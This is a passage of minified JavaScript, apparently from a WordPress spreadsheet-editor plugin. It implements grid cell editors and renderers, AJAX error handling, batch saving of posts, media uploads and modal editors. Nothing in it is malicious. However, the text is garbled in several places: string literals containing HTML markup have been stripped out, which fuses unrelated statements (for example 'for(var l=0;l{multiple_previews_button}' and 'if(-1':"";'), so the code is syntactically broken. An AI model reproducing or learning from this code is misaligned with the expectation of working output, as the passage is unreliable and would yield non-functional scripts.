window.vgseDontNotifyServerError&&window.vgseDontNotifyServerError?window.vgseDontNotifyServerError=!1:"abort"!==t.statusText&&(400==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_400,tipo:"error",tiempo:6e4}):403==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_403,tipo:"error",tiempo:6e4}):500==t.status||502==t.status||505==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_500_502_505,tipo:"error",tiempo:6e4}):503==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_503,tipo:"error",tiempo:6e4}):509==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_509,tipo:"error",tiempo:6e4}):504==t.status?notification({mensaje:vgse_editor_settings.texts.http_error_504,tipo:"error",tiempo:6e4}):404==t.status||notification({mensaje:vgse_editor_settings.texts.http_error_default,tipo:"error",tiempo:6e4}))}),jQuery(document).ajaxComplete(function(e,t,a,r){setTimeout(function(){"abort"!==t.statusText&&window.vgse_editor_settings&&("0"!==t.responseText&&0!==t.responseText&&!r||(loading_ajax({estado:!1}),"boolean"==typeof window.vgseDontNotifyServerError&&window.vgseDontNotifyServerError?window.vgseDontNotifyServerError=!1:notification({mensaje:vgse_editor_settings.texts.http_error_500_502_505,tipo:"error",tiempo:6e4})))},500)}); void 0===window.$&&(window.$=jQuery),jQuery(document).ready(function(e){if(window.wpseHasInitialized)return!0;var u,w,p,g,l,c,m,t=window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)")&&window.matchMedia("(prefers-color-scheme: dark)").matches;if("undefined"!=typeof vgse_editor_settings&&vgse_editor_settings.is_backend&&vgse_editor_settings.is_editor_page&&(t&&!vgse_editor_settings.color_mode||"dark"===vgse_editor_settings.color_mode)&&jQuery("html").addClass("vgse-dark-mode"),window.wpseHasInitialized=!0,jQuery("body").on("click",".wpse-toggle-head",function(){jQuery(this).next(".wpse-toggle-content").slideToggle()}),jQuery("body").on("mouseenter","[data-wpse-tooltip]",function(){var e=jQuery(this).attr("aria-label");e&&/^\w+$/.test(e)&&void 0!==vgse_editor_settings.texts[e]&&jQuery(this).attr("aria-label",vgse_editor_settings.texts[e])}),!jQuery(".be-spreadsheet-wrapper").length)return!0;window.vgseFormulasBulkSelectorExists=jQuery(".modal-formula").length,function(e){"use strict";var t=e.editors.PasswordEditor.prototype.extend();t.prototype.createElements=function(){e.editors.PasswordEditor.prototype.createElements.apply(this,arguments),this.TEXTAREA=document.createElement("input"),this.TEXTAREA.setAttribute("type","color"),this.TEXTAREA.className="handsontableInput",this.textareaStyle=this.TEXTAREA.style,this.textareaStyle.width=0,this.textareaStyle.height=0,jQuery(this.TEXTAREA_PARENT).empty(),this.TEXTAREA_PARENT.appendChild(this.TEXTAREA)},t.prototype.focus=function(){this.TEXTAREA.select()},e.editors.WPColorPickerEditor=t,e.editors.registerEditor("wp_color_picker",t)}(Handsontable),function(e){"use strict";var t=e.editors.PasswordEditor.prototype.extend();t.prototype.createElements=function(){e.editors.PasswordEditor.prototype.createElements.apply(this,arguments),this.TEXTAREA=document.createElement("input"),this.TEXTAREA.setAttribute("type","datetime-local"),this.TEXTAREA.className="handsontableInput",this.textareaStyle=this.TEXTAREA.style,this.textareaStyle.width=0,this.textareaStyle.height=0,jQuery(this.TEXTAREA_PARENT).empty(),this.TEXTAREA_PARENT.appendChild(this.TEXTAREA)},t.prototype.focus=function(){this.TEXTAREA.select()},t.prototype.getValue=function(){var e=this.TEXTAREA.value;if(e){var t=vgse_editor_settings.final_spreadsheet_columns_settings[this.prop].formatted.dateFormatJs;e=moment.utc(e,"YYYY-MM-DDTHH:mm:ss").format(t)}return e},t.prototype.setValue=function(e){if(e){var t=vgse_editor_settings.final_spreadsheet_columns_settings[this.prop].formatted.dateFormatJs;e=moment.utc(e,t).format("YYYY-MM-DDTHH:mm:ss")}this.TEXTAREA.value=e},e.editors.WPDateTimeEditor=t,e.editors.registerEditor("wp_datetime",t)}(Handsontable),(u=Handsontable).renderers.registerRenderer("wp_chosen_dropdown",function(e,t,o,a,n,r,s){var i=s.chosenOptions.data;if(void 0===i||void 0===i.length||!i.length)return u.renderers.TextRenderer.apply(this,arguments),t;var d=(r+"").split(vgse_editor_settings.taxonomy_terms_separator).map(function(e){return e.trim()});r=[];for(var l=0;l{multiple_previews_button}{value_teaser}';var m="";if(u&&u.indexOf(",")<0){var y=(0===u.indexOf(window.location.protocol+"//"+window.location.host)?u.replace(/\?.+/,""):u).split("."),_=y[y.length-1].toLowerCase();if(-1':"";g=g.replace("{multiple_previews_button}",f)}if(!vgse_editor_settings.dont_display_file_names_image_columns){if(r){var v=p.join(", "),h=vgseStripHtml(v.substring(0,40));40 '+g).replace(/set_custom_images|view_custom_images/g,"")),t.innerHTML=g,t}),(p=Handsontable).renderers.registerRenderer("wp_tinymce",function(e,t,o,a,n,r,s){p.renderers.BaseRenderer.apply(this,arguments),jQuery("#post-data").data("post-type");var i=vgse_editor_settings.final_spreadsheet_columns_settings[n];void 0===i.formatted.wpse_template_key&&(i.formatted.wpse_template_key="tinymce_cell_template");var d=vgse_editor_settings[i.formatted.wpse_template_key],l=parseInt(j.getDataAtRowProp(o,"ID")),u=vgseGetRowTitle(o)||String(l);if(d=(d=(d=d.replace(/\{key\}/g,n)).replace(/\{type\}/g,i.data_type)).replace(/\{id\}/g,l),"string"==typeof u)d=d.replace(/\{post_title\}/g,u.replace(/"/g,""));if(r){var c=vgse_editor_settings.tinymce_preview_characters_limit;d+=vgseStripHtml(r).substring(0,c),r.length>c&&(d+="...")}else d+="("+vgse_editor_settings.texts.empty+")";return i.formatted.readOnly&&(d=(d=' '+d).replace(/btn-popup-content/g,"")),t.innerHTML=d,t}),(g=Handsontable).renderers.registerRenderer("wp_handsontable",function(e,t,o,a,n,r,s){g.renderers.BaseRenderer.apply(this,arguments),jQuery("#post-data").data("post-type");var i=vgse_editor_settings.final_spreadsheet_columns_settings[n],d=vgse_editor_settings.handsontable_cell_template,l=parseInt(j.getDataAtRowProp(o,"ID")),u=(d=(d=(d=d.replace(/\{key\}/g,n)).replace(/\{type\}/g,i.data_type)).replace(/\{id\}/g,l),vgseGetRowTitle(o)||String(l)),c=(d=d.replace(/\{post_title\}/g,u.replace(/"/g,"")),j.getSourceData()),p=jQuery.extend(!0,i,c[o]);return p.post_id=l,d=(d=(d=d.replace(/\{modal_settings\}/g,vgseEscapeHTML(JSON.stringify(p)))).replace(/\{value\}/g,vgseEscapeHTML(JSON.stringify(r)))).replace(/\{button_label\}/g,p.edit_button_label),d+=r&&"[]"!==r?" ...":" ("+vgse_editor_settings.texts.empty+")",i.formatted.readOnly&&(d=(d=' '+d).replace(/(btn-popup-content|button-custom-modal-editor|button-handsontable)/g,"")),t.innerHTML=d,t}),(l=Handsontable).renderers.registerRenderer("wp_friendly_select",function(e,t,o,a,n,r,s){l.renderers.BaseRenderer.apply(this,arguments);var i=vgse_editor_settings.final_spreadsheet_columns_settings[n],d=r;if(r&&void 0!==i.formatted.selectOptions[r])d=i.formatted.selectOptions[r];return t.innerHTML=d,t}),(c=Handsontable).renderers.registerRenderer("wp_external_button",function(e,t,o,a,n,r,s){c.renderers.BaseRenderer.apply(this,arguments);var i=vgse_editor_settings.final_spreadsheet_columns_settings[n];if(r)var d=' '+i.title+"";else d="";return t.innerHTML=d,t}),(m=Handsontable).renderers.registerRenderer("wp_locked",function(e,t,o,a,n,r,s){m.renderers.BaseRenderer.apply(this,arguments);var i=jQuery("#post-data").data("post-type"),d=vgse_editor_settings.final_spreadsheet_columns_settings[n];if(d.lock_template_key||(d.lock_template_key="lock_cell_template"),"string"==typeof r){var l=vgse_editor_settings.max_value_length_locked_cells||55;(r=vgseStripHtml(r).substring(0,l)).length>l&&(r+="...")}if("string"==typeof r&&-1',a=jQuery(".vi-preview-wrapper");jQuery(window).width()-a.width()');var o=jQuery("#vgse-wrapper");o.length&&o.find(".vg-toolbar input:checkbox").labelauty();var j,y=jQuery("#post-data"),a=(jQuery("#responseConsole"),jQuery("#vgse-wrapper"));format=!jQuery("#formato").is(":checked"),setTimeout(function(){vgseInitSelect2()},2e3);var n={comments:vgse_editor_settings.allow_cell_comments,colWidths:vgObjectToArray(vgse_editor_settings.colWidths),colHeaders:vgObjectToArray(vgse_editor_settings.colHeaders),columns:h(format),rowHeaders:!0,startRows:vgse_editor_settings.startRows,startCols:vgse_editor_settings.startCols,currentRowClassName:"currentRow",currentColClassName:"currentCol",fillHandle:!1,columnSorting:!0,manualColumnFreeze:!0,manualColumnMove:!0,contextMenu:{items:{undo:{},redo:{},separator1:{name:"---------"},copy:{},cut:{},how_to_paste:{name:vgse_editor_settings.texts.how_to_paste},separator2:{name:"---------"},make_read_only:{},freeze_column:{},unfreeze_column:{},delete_row:{name:vgse_editor_settings.texts.delete_row,hidden:function(){return!j.getSelected()||!vgse_editor_settings.can_delete_row},callback:function(e,t,o){var a=[],n=[];if(t.forEach(function(e){e.start.row"+vgse_editor_settings.texts.no_changes_to_save+"

    "),loading_ajax({estado:!1}),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),vgseAllowToClosePageWithoutWarning(!0),setTimeout(function(){beSetSaveButtonStatus(!1),s.find(".remodal-cancel").click()},500),notification({mensaje:vgse_editor_settings.texts.no_changes_to_save,tipo:"info"}),!0;var o=jQuery(".remodal-bg").data("nonce"),a={classname:"be-progress-bar",id:"be-progress-bar",target:document.getElementById("be-nanobar-container")},d=new Nanobar(a);d.go(1);var n=Math.ceil(i.length/parseInt(vgse_editor_settings.save_posts_per_page));jQuery(".saving-now-message").show(),1"+e.data.message+"

    "),!!e.allowRetry&&confirm(e.data.message)?(t.current--,jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),!0):(vgse_editor_settings.enable_auto_saving?jQuery(s).find(".response").append(vgse_editor_settings.texts.auto_saving_stop_error):jQuery(s).find(".response").append(vgse_editor_settings.texts.saving_stop_error),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),vgse_editor_settings.enable_auto_saving&&(r.text(r.data("unsaved-changes")),jQuery('[data-remodal-id="bulk-save"]').is(":visible")||jQuery('[data-remodal-id="bulk-save"]').remodal().open()),!1);d.go(t.current/t.totalCalls*100),e.data.deleted.length&&vgseRemoveRowFromSheetByID(e.data.deleted);var o=parseInt(vgse_editor_settings.save_posts_per_page)*t.current>i.length?i.length:parseInt(vgse_editor_settings.save_posts_per_page)*t.current,a=(a=vgse_editor_settings.texts.paged_batch_saved.replace("{updated}",o)).replace("{total}",i.length);if(jQuery(s).find(".response").append("

    "+a+"

    "),t.current===t.totalCalls){jQuery(".tip-saving-speed-message, .saving-now-message").hide();var n=vgse_editor_settings.texts.everything_saved;if(vgse_editor_settings.texts.ask_review&&(n+="
    "+vgse_editor_settings.texts.ask_review),jQuery(s).find(".response").empty().append('

    '+n+"

    "),loading_ajax({estado:!1}),notification({mensaje:vgse_editor_settings.texts.everything_saved}),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),jQuery("body").trigger("vgSheetEditor/afterSavingChanges"),vgseAllowToClosePageWithoutWarning(!0),beSetSaveButtonStatus(!1),window.beOriginalData=jQuery.extend(!0,[],j.getSourceData()),j.getSourceData().forEach(function(e,t){void 0!==e.post_status&&"delete"===e.post_status&&j.alter("remove_row",t)}),1===t.totalCalls&&jQuery('[data-remodal-id="bulk-save"]').is(":visible")&&setTimeout(function(){jQuery('[data-remodal-id="bulk-save"]').remodal().close()},500),vgse_editor_settings.enable_auto_saving){var r=jQuery(".button-container.auto_saving_status-container a");r.text(r.data("saved-changes"))}}return setTimeout(function(){jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight)},600),!0},onError:function(e,t,o){var a=vgse_editor_settings.enable_auto_saving?vgse_editor_settings.texts.auto_saving_http_error_try_now:vgse_editor_settings.texts.http_error_try_now,n=confirm(a);return s.find(".be-loading-anim").hide(),n?(window.vgseDontNotifyServerError=!0,o.current--,d.go(o.current/o.totalCalls*100),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),!0):(vgse_editor_settings.enable_auto_saving?jQuery(s).find(".response").append(vgse_editor_settings.texts.auto_saving_stop_error):jQuery(s).find(".response").append(vgse_editor_settings.texts.saving_stop_error),s.find(".remodal-cancel").removeClass("hidden"),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),vgse_editor_settings.enable_auto_saving&&r.text(r.data("unsaved-changes")),!1)}})}),"undefined"!=typeof wp&&wp.media&&jQuery("body").on("click",".set_custom_images:not(.multiple)",function(e){e.preventDefault(),loading_ajax({estado:!0});var a=jQuery(this),t=a.parent("td"),n=j.getCoords(t[0]),r=jQuery("html,body").scrollLeft(),o=(a.data("id"),a.data("key"),a.data("type"),a.data("file")),s=[],i=jQuery(document).scrollTop(),d=jQuery("#infinito").prop("checked");return jQuery("#infinito").prop("checked",!1),media_uploader=wp.media({frame:"post",state:"insert",multiple:!1}),media_uploader.state("embed").on("select",function(){var e=media_uploader.state(),t=e.get("type"),o=e.props.toJSON();o.url=o.url||"","image"===t&&o.url&&wpsePrepareGalleryFilesForCellFormat([{url:o.url,id:o.url}],n)}),media_uploader.on("open",function(){var e=media_uploader.state().get("selection");o&&e.add(wp.media.attachment(o))}),media_uploader.on("close",function(){jQuery("html,body").scrollLeft(r),jQuery(window).scrollTop(i),jQuery("#infinito").prop("checked",d)}),media_uploader.on("insert",function(){jQuery("html,body").scrollLeft(r);var e=media_uploader.state().get("selection").length,t=media_uploader.state().get("selection").models;if(!t.length)return!0;for(var o=0;o'}),jQuery("div[data-remodal-id=image] .modal-content").html(a),jQuery("[data-remodal-id=image]").remodal()}),jQuery("button.siguiente").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").click()},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("button.anterior").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").trigger("click")},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("body").on("click",".btn-popup-content",function(){var e=jQuery(this),t=e.data("id"),o=e.data("key"),a=e.data("type"),n=j.countRows(),r=jQuery(this).parent("td"),s=j.getCoords(r[0]),i=vgseGetRowTitle(s.row),d=s.row,l=jQuery(".modal-tinymce-editor");0===d?(l.find("button.anterior").hide(),l.find("button.anterior").next("[data-wpse-tooltip]").hide()):(l.find("button.anterior").show(),l.find("button.anterior").next("[data-wpse-tooltip]").show()),d===n-1?(l.find("button.siguiente").hide(),l.find("button.siguiente").next("[data-wpse-tooltip]").hide()):(l.find("button.siguiente").show(),l.find("button.siguiente").next("[data-wpse-tooltip]").show()),l.find("button.anterior").data("pos",d-1),l.find("button.siguiente").data("pos",d+1),i?jQuery(".modal-tinymce-editor .post-title-modal span").text(i).show():jQuery(".modal-tinymce-editor .post-title-modal").hide(),jQuery(".modal-tinymce-editor .remodal-confirm").data("post_id",t),jQuery(".modal-tinymce-editor").data("column-key",o),jQuery(".modal-tinymce-editor .remodal-confirm").data("type",a),jQuery(".modal-tinymce-editor .remodal-confirm").data("cellCoords",s),jQuery('[data-remodal-id="editor"]').remodal().open()}),jQuery(document).on("opened",'[data-remodal-id="editor"]',function(e){var t=jQuery(this).find(".remodal-confirm").data("cellCoords"),o=j.getDataAtCell(t.row,t.col);window.tinymceEditorInitialized?i(o):(window.tinymceEditorInitialized=!0,jQuery("html").addClass("wpse-loading-tinymce"),tinyMCEPreInit.mceInit.editpost.setup=function(e){e.on("init",function(e){i(o)})},wp.editor.initialize("editpost",{tinymce:tinyMCEPreInit.mceInit.editpost,quicktags:tinyMCEPreInit.qtInit.editpost,mediaButtons:!0}))}),jQuery(".guardar-popup-tinymce").on("click",function(e){d()}),jQuery("body").on("click",".wpse-disable-if-unsaved-changes.disabled",function(e){alert(vgse_editor_settings.texts.save_changes_before_using_tool)}),jQuery(".pagination-jump input").on("keyup",function(e){var t=parseInt(jQuery(this).val()),o=parseInt(jQuery(this).attr("max"));if(13==e.keyCode&&t!==window.beCurrentPage&&1<=t&&t<=o)return vgseReloadSpreadsheet(!0,null,t),jQuery(this).blur(),!0}),jQuery("body").on("click",".load-more",function(){format=!!jQuery("#formato").is(":checked");var e=jQuery(".remodal-bg").data("nonce");if(jQuery(this).data("pagination")){var t=parseInt(jQuery(this).data("pagination"));return t&&t!==window.beCurrentPage&&vgseReloadSpreadsheet(!0,null,t),!0}var o=window.beCurrentPage+1;beLoadPosts({post_type:y.data("post-type"),paged:o,nonce:e},function(e){if(e.success){vgseAddFoundRowsCount(e.data.total),vgAddRowsToSheet(e.data.rows),loading_ajax({estado:!1});var t=e.data.message||vgse_editor_settings.texts.posts_loaded;notification({mensaje:t}),window.scrroll=!0,e.data&&e.data.rows.length||(window.scrroll=!1)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"info",time:3e4}),window.scrroll=!1})});jQuery("#post-data").offset();window.scrroll=!0,window.isAddColumnNotified=!1;j.countRows();var _=jQuery(".ht_clone_top").width()>jQuery(window).width(),f=jQuery(document).width()+200>jQuery(window).width(),v=jQuery("#infinito");function h(e){if(!0===e)var t=vgse_editor_settings.columnsFormat;else t=vgse_editor_settings.columnsUnformat;var a=vgObjectToArray(t);return a.forEach(function(o,e){"string"==typeof o.source&&("loadTaxonomyTerms"===o.source&&(a[e].source=_throttle(function(e,t){return function(t){var e=jQuery(".remodal-bg").data("nonce"),o=jQuery("#post_type_new_row").val(),a=j.colToProp(j.getSelected()[0][1]),n=vgse_editor_settings.columnsFormat[a].taxonomy_key||a;void 0===window.wpseTaxonomyTerms&&(window.wpseTaxonomyTerms={});void 0===window.wpseTaxonomyTerms[n]?(window.wpseTaxonomyTerms[n]=[],jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_get_taxonomy_terms",taxonomy_key:n,nonce:e,post_type:o,wpse_source:"taxonomy_column"},success:function(e){window.wpseTaxonomyTerms[n]=e.data,t(e.data)}})):t(window.wpseTaxonomyTerms[n])}(t)},1500,{leading:!0,trailing:!0})),"searchPostByKeyword"===o.source&&(a[e].source=_throttle(function(e,t){return function(e,o,t){if(!e)return o([]);var a=jQuery(".remodal-bg").data("nonce"),n=t||jQuery("#post_type_new_row").val();jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_post_by_name",search:e,nonce:a,post_type:n,wpse_source:"post_dropdown_column"},success:function(e){var t=[];e.success&&e.data.data.forEach(function(e){t.push(e.title)}),o(t)}})}(e,t,o.searchPostType)},1500,{leading:!0,trailing:!0})),"searchUsers"===o.source&&(a[e].source=_throttle(function(e,t){return o=e,a=t,n=jQuery(".remodal-bg").data("nonce"),r=vgse_editor_settings.post_type,void jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_users_by_keyword",search:o,nonce:n,post_type:r,wpse_source:"users_dropdown_column"},success:function(e){var t=[];e.success&&(t=e.data.data),a(t)}});var o,a,n,r},1500,{leading:!0,trailing:!0})))}),a}function b(e,t,o,a,n,r,s){var i=jQuery(window).scrollTop(),d=scrollDown(a+e),l=jQuery(window).scrollLeft();d&&"top"===e&&(njQuery(window).height()&&void 0!==window.beOriginalData&&parseInt(jQuery(window).scrollTop()+jQuery(window).height())==jQuery(document).height()&&!0===window.scrroll&&e&&(jQuery(".load-more").trigger("click"),window.scrroll=!1);var t=jQuery(window).scrollLeft()+jQuery(window).width()>=jQuery(document).width()-400;_&&vgse_editor_settings.texts.hint_missing_column_on_scroll&&f&&t&&!window.isAddColumnNotified&&!e&&(window.isAddColumnNotified=!0,notification({mensaje:vgse_editor_settings.texts.hint_missing_column_on_scroll,tipo:"info",time:8e4,position:"bottom"}))},500,{leading:!0,trailing:!0})),jQuery("body").on("click",".show-column-missing-tips",function(e){e.preventDefault(),setTimeout(function(){jQuery(".modal-columns-visibility").parent().scrollTop(jQuery(".missing-column-tips").offset().top)},250)}),jQuery("body").on("click",".wpse-enable-locked-cell",function(e){e.preventDefault();var t=j.colToProp(j.getSelected()[0][1]);vgse_editor_settings.lockedColumnsManuallyEnabled.push(t);var o=j.propToCol(t),a=j.getDataAtCell(1,o);j.setDataAtCell(1,o,a)}),jQuery("#formato").on("change",function(){format=!jQuery(this).is(":checked");var e=h(format);"function"==typeof vgseColumnsVisibilityUpdateHOT&&window.vgseColumnsVisibilityUsed?vgseColumnsVisibilityUpdateHOT(e,vgse_editor_settings.colHeaders,vgse_editor_settings.colWidth,"softUpdate"):j.updateSettings({columns:e})}),jQuery("#addrow").on("click",function(){var e=jQuery(".remodal-bg").data("nonce"),o=jQuery("#post_type_new_row").val(),a=jQuery(this).next(".number_rows").length&&jQuery(this).next(".number_rows").val()?parseInt(jQuery(this).next(".number_rows").val()):1,t=void 0!==window.wpseAddRowExtraData?window.wpseAddRowExtraData:null;loading_ajax({estado:!0}),jQuery.ajax({type:"POST",url:vgse_global_data.ajax_url,data:{action:"vgse_insert_individual_post",nonce:e,post_type:o,rows:a,extra_data:t},dataType:"json",success:function(e){if(e.success){vgseAddFoundRowsCount(window.beFoundRows+parseInt(a)),vgAddRowsToSheet(e.data.message,"prepend"),loading_ajax({estado:!1}),notification({mensaje:vgse_editor_settings.texts.new_rows_added});var t=jQuery(".be-spreadsheet-wrapper").offset().top-jQuery("#vg-header-toolbar").height()-20;vgseIsInViewport(jQuery(".be-spreadsheet-wrapper"))||jQuery(window).scrollTop(t)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"error",tiempo:6e4});jQuery("body").trigger("vgSheetEditor:afterNewRowsInsert",[e,o,a])}})}),jQuery("#addrow2").on("click",function(){jQuery("#addrow").trigger("click")}),jQuery("#vg-header-toolbar").length&&window.location.href.indexOf("wpse_no_sticky_toolbar")<0){var Q=jQuery("#vg-header-toolbar").outerHeight(),k=jQuery("#vg-header-toolbar").offset().left,x=jQuery("#vg-header-toolbar-placeholder").offset().top,C=jQuery("#vg-header-toolbar.js-sticky-top"),S=jQuery("#vg-header-toolbar-placeholder");C.hasClass("js-sticky-top")&&(jQuery(window).on("scroll",_throttle(function(){b("top",C,S,"menu",x,Q,k)},20)),b("top",C,S,"menu",x,Q,k)),C.hasClass("js-sticky-left")&&(jQuery(window).on("scroll",_throttle(function(){b("left",C,S,"menu",x,Q,k)},5)),b("left",C,S,"menu",x,Q,k))}var T=jQuery("#vg-footer-toolbar.js-sticky");if(T.length){var E=T.outerHeight(),A=T.offset().left,I=T.offset().top,R=T,D=jQuery("#vg-footer-toolbar-placeholder");jQuery(window).on("scroll",_throttle(function(){b("left",R,D,"footer",I,E,A)},5)),b("left",R,D,"footer",I,E,A)}jQuery("body").trigger("vgSheetEditor:afterInit"),jQuery(window).width()<1200&&50 .vg-header-toolbar-inner").height()&&jQuery(".vg-secondary-toolbar .vg-header-toolbar-inner div.clear").before(jQuery("#vg-header-toolbar > .vg-header-toolbar-inner > .button-container:gt(-3)"))});var lastScrollTop={};function scrollDown(e){lastScrollTop[e]||(lastScrollTop[e]=0);var t=jQuery(window).scrollTop();return down=t!==lastScrollTop[e],lastScrollTop[e]=t,down}var vgseClosePageWithoutWarning=!1,vgseAllowToClosePageWithoutWarning=function(e){(vgseClosePageWithoutWarning=e)&&(window.wpseAutoSavingInProgress=!e)};function initHandsontableForPopup(e,r){if("handsontable"===r.type){"string"==typeof e&&(e=JSON.parse(e)),e=e||[];var t,o=r.handsontable_column_widths[r.post_type],a=r.handsontable_column_names[r.post_type],n=r.handsontable_columns[r.post_type],s=document.getElementById("handsontable-in-modal");window.hotAttr&&!window.hotAttr.isDestroyed&&window.hotAttr.destroy(),!(t=e.custom_handsontable_args?e.data:e).length&&window.wpseCurrentPopupSourceCoords.cellValue&&(t=window.wpseCurrentPopupSourceCoords.cellValue);var i={data:t,minSpareRows:1,wordWrap:!0,colWidths:o,allowInsertRow:!0,columnSorting:!0,colHeaders:a,columns:n,afterColumnSort:function(e,t){if("_vgse_create_attribute"===r.key){var o=window.hotAttr.getSourceData(),a=window.hotAttr.getDataAtProp("name"),n=[];o.forEach(function(e){n[e.name]=e}),a.forEach(function(e,t){n[e].position=t})}}},d=jQuery.extend(i,e.custom_handsontable_args);window.hotAttr=new Handsontable(s,d)}else"metabox"===r.type&&initEditorIframe(r);loading_ajax({estado:!1})}function initEditorIframe(r){window.$iframeWrappers=jQuery(".vgca-iframe-wrapper");var e=window.$iframeWrappers;e.show(),e.find("iframe").remove();var t=e.find(".iframe-template").prop("outerHTML").replace(/div/g,"iframe"),o=jQuery(t);o.removeClass("iframe-template"),o.attr("src",o.data("src")+r.post_id+"&wpse_column="+r.key),e.append(o),jQuery(".custom-modal-editor").addClass("modal-editor-"+r.key),window.vgcaIsFrontendSession=[],$iframeWrappers.each(function(){var a=jQuery(this),n=a.find("iframe");window.location.hash;n.data("lastPage",n.contents().get(0).location.href),window.vgcaIsFrontendSession.push(setInterval(function(){var e=n.contents().get(0).location.href;e!==n.data("lastPage")&&($iframeWrappers.css("height",""),n.css("height",""),n.data("lastPage",e));var t=null;try{t=n.contents()}catch(e){}if(t){n.height(700),a.height(700);var o=t.find(r.metabox_show_selector);o.removeClass("acf-hidden").removeClass("hidden").attr("hidden","").attr("style","display: block !important; visibility: 1 !important; opacity: 1 !important;"),o.siblings().filter(function(){return!(jQuery(this).hasClass("mce-container")||jQuery(this).hasClass("ui-autocomplete")||jQuery(this).attr("id")&&-1 "),jQuery(".post-types-form input:radio").first().prop("checked",!0),jQuery(".post-types-form .save-trigger").trigger("click"))}function vgsePostTypeSetupPostTypesSaved(e){var t=e.form.parents("li");t.hide();var o=t.next();o.show(),o.hasClass("setup_columns")&&jQuery.get(vgse_global_data.ajax_url,{action:"vgse_post_type_setup_columns_visibility",nonce:jQuery(".post-type-setup-wizard").data("nonce"),post_type:jQuery(".post-types-form input:radio:checked").val()},function(e){o.append(e.data.html),o.find('[name="save_post_type_settings"]').prop("checked",!0),"undefined"!=typeof vgseColumnsVisibilityInit&&vgseColumnsVisibilityInit()})}function vgsePostTypeSetupColumnSaved(e){jQuery("#vgse-columns-enabled").append('
  • :: '+e.response.data.label+'
  • ')}function vgsePostTypeSetupColumnsVisibilitySaved(e){window.location.href=e.response.data.post_type_editor_url}jQuery(window).on("beforeunload",function(){if(jQuery(".be-spreadsheet-wrapper").length)var e=beGetModifiedItems(hot.getSourceData(),window.beOriginalData);else e=[];if(jQuery(".be-spreadsheet-wrapper").length&&e.length&&!vgseClosePageWithoutWarning)return vgse_editor_settings.texts.save_changes_on_leave}),jQuery(document).ready(function(){var e=jQuery(".quick-setup-page-content");if(!e.length)return!0;function r(){jQuery(".setup-step.active").removeClass("active").next().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").next().addClass("active")}e.find(".step-back").on("click",function(e){e.preventDefault(),jQuery(".setup-step.active").removeClass("active").prev().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").prev().addClass("active")}),e.find(".save-all-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this).parents(".setup-step"),o=t.find("form");if(loading_ajax({estado:!0}),!o.length)return r(),loading_ajax({estado:!1}),!0;t.find(".save-trigger").each(function(){jQuery(this).trigger("click")});var a=t.find(".save-trigger").length,n=setInterval(function(){t.find(".save-trigger").filter(function(){return"yes"===jQuery(this).data("saved")}).length===a&&(clearInterval(n),r(),loading_ajax({estado:!1}))},800)}),e.find(".save-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this),o=t.parents("form"),a=o.data("callback");jQuery.post(o.attr("action"),o.serializeArray(),function(e){t.data("saved","yes"),a&&vgseExecuteFunctionByName(a,window,{response:e,form:o})})})}),jQuery(document).ready(function(){jQuery("body").on("click",".form-submit-outside",function(e){e.preventDefault(),jQuery(this).parents(".remodal").find("form .form-submit-inside").trigger("click")}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(document).scrollTop(),o=jQuery("#infinito").prop("checked");jQuery("#infinito").prop("checked",!1),jQuery("body").data("temp-status",o).data("temp-scrolltop",t);var a=jQuery("html,body").scrollLeft();jQuery("body").data("temp-scrollleft",a)}),jQuery(document).on("closed",".remodal",function(){var e=jQuery("body").data("temp-scrolltop"),t=jQuery("body").data("temp-scrollleft"),o=jQuery("body").data("temp-status");e&&jQuery(window).scrollTop(e),t&&jQuery("html,body").scrollLeft(t),o&&jQuery("#infinito").prop("checked",o)}),jQuery("body").on("click","[data-wpse-remodal-target]",function(){vgseGoToModal(jQuery(this).data("wpse-remodal-target"))})}),jQuery(document).ready(function(){jQuery("body").on("click",".button-custom-modal-editor",function(e){e.preventDefault();var t=jQuery(this),o=t.data(),a=t.parent("td");if(a.length){var n=hot.getCoords(a[0]);if(window.wpseCurrentPopupSourceCoords=n,o.modalSettings.use_new_handsontable_renderer){var r=hot.getDataAtCell(window.wpseCurrentPopupSourceCoords.row,window.wpseCurrentPopupSourceCoords.col);window.wpseCurrentPopupSourceCoords.cellValue=r?JSON.parse(r):{}}}window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[o.modalSettings.post_id]||(window.hotModalCache[o.modalSettings.post_id]={});var s=jQuery(".custom-modal-editor");if(a.length){var 